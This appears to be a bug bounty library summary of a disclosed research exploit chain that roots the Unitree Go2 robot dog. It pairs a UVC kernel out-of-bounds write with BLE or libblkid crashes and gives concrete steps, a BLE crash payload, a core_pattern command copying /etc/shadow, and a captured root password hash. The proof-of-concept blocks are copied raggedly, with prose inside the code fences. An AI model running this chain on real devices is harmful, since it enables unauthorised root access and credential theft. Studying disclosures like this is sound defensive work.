# Breaking Free: A New Jailbreak for the Unitree Go2

Pre-auth chain on Unitree Go2: UVC frame OOB write overwrites core_pattern, then a BLE crash triggers a root core dump.

- Payout: Research
- Severity: high
- Program: Unitree Go2
- Write-up by: Josh Endres
- Disclosed: 2026-11-19
- CVE: CVE-2024-53104
- Write-up quality: 9/10
- Original: https://www.praetorian.com/blog/breaking-free-a-new-jailbreak-for-the-unitree-go2/
- Library page: https://bugbountylibrary.com/r/blog%3Apraetorian-com-blog-breaking-free-a-new-jailbreak-for-the-unitree-go2
- Tags: area:oss domain:iot domain:oss impact:privesc impact:rce kind:research platform:research sev:high tech:linux technique:chained technique:source-review vuln:dos vuln:memory-corruption vuln:rce

**Target:** Linux kernel uvcvideo driver and btgatt-server BLE service on the Go2
**Root cause:** uvc_parse_format's allocation pass lacks a case for UVC_VS_UNDEFINED (0x00) while the fill pass treats it as a frame, giving an OOB write into SLUB free-list pointers; btgatt-server passes attacker-controlled ct_len as EVP_DecryptUpdate output length, overflowing the stack canary pre-auth.
**Steps:**
1. Present a fake USB device with `bInterfaceClass = 0x0E; bInterfaceSubClass = 0x01;` (VideoControl) plus VideoStreaming interfaces.
2. Send 23 fake interfaces to consume free objects so the next object is likely free.
3. Send a frame descriptor with subtype 0x00 and bFrameIntervalType to write past the buffer, pointing next-free at `0xffffffc011b82290` (core_name_size, KASLR disabled).
4. Send two VideoStreaming interfaces whose data overwrites core_name_size and core_pattern with `|/bin/cp /etc/shadow /root/pwned`.
5. Trigger a crash via BLE write to handle 0x0012 with `0c0102030405060708090a0b0c00c8de` (cipher_len > 104 trips canary, SIGABRT).
6. Core dump runs core_pattern pipe as root, copying /etc/shadow to /root/pwned.
**How found:** Noticed an unexpected 4G/GNSS radio module and filed-off chip markings, rooted via UnLeash-Lite, then reverse-engineered Virbox-obfuscated binaries; a shorted UART Tx/Rx accidentally revealed the Rockchip FIQ debugger; audited USB kernel modules loaded per device and picked uvcvideo since the dog's camera module is always loaded.
**Exploitation:** A single Raspberry Pi Pico 2 impersonates a USB camera to prime SLUB and overwrite core_pattern, then re-enumerates as an OCFS mass-storage device exploiting a libblkid probe_ocfs stack over-read (65535-byte label) to crash a systemd-udevd worker, triggering the root core dump without needing BLE.
**Escalation:** Chained kernel OOB write (CVE-2024-53104) with a pre-auth BLE stack overflow crash, then replaced the BLE crash with a libblkid OCFS over-read crash so one USB dongle achieves full root.
**Insight:** On embedded Linux targets, enumerate which kernel modules auto-load for hotplugged USB classes (uvcvideo here) and check whether KASLR is disabled so static-analysis addresses suffice; also grep for legacy filesystem probes (libblkid) that udev runs on mass-storage insertion as a free crash primitive.

## Proof of concept (copied exactly from the original report)

**Caeruleus BLE write crashing btgatt-server**

```
caeruleus write --req -b <robot-BLE-MAC> -i hci0 --by-uuid 0000ffe2-0000-1000-8000-00805f9b34fb --value 0c0102030405060708090a0b0c00c8de

 That value breaks down as such:
```

**Fake UVC descriptors triggering CVE-2024-53104**

```
bInterfaceClass = 0x0E; //Video
bInterfaceSubClass = 0x01; //VideoControl

 When the Go2’s kernel reads those interfaces, it then is told to process additional interfaces, including VideoStreaming.
```

**core_pattern payload and root shell proof**

```
|/bin/cp /etc/shadow /root/pwned

 Copy a file only root has the ability to interact with, and save it to the home directory for root.
After instrumenting more logging than perhaps necessary, and after many failures working kinks out, we ran our combined exploit: our slightly modified Cynthion / Facedancer presented as a fake camera to prime the dog, caeruleus held a connection to BLE open, and once the priming finished it fired the payload to crash btgatt-server.

449: 336.47 cp=|/bin/cp /etc/shadow /root/pwned ← core_pattern armed, watch loop polling
454: HIT 336.57 ← BLE crash fired, coredump ran the pipe as root
455: root:$6$qInOX9u3OpmOrYNN$iXa0RGliJYdqhaJ2540bvmbVqFuJVFEj.QbLlXecIQhBzAUaSSN8NCvXiJOKrvOf13z0ziMvYKVUIzJFXTcdI1:20727:0:99999:7:::
```

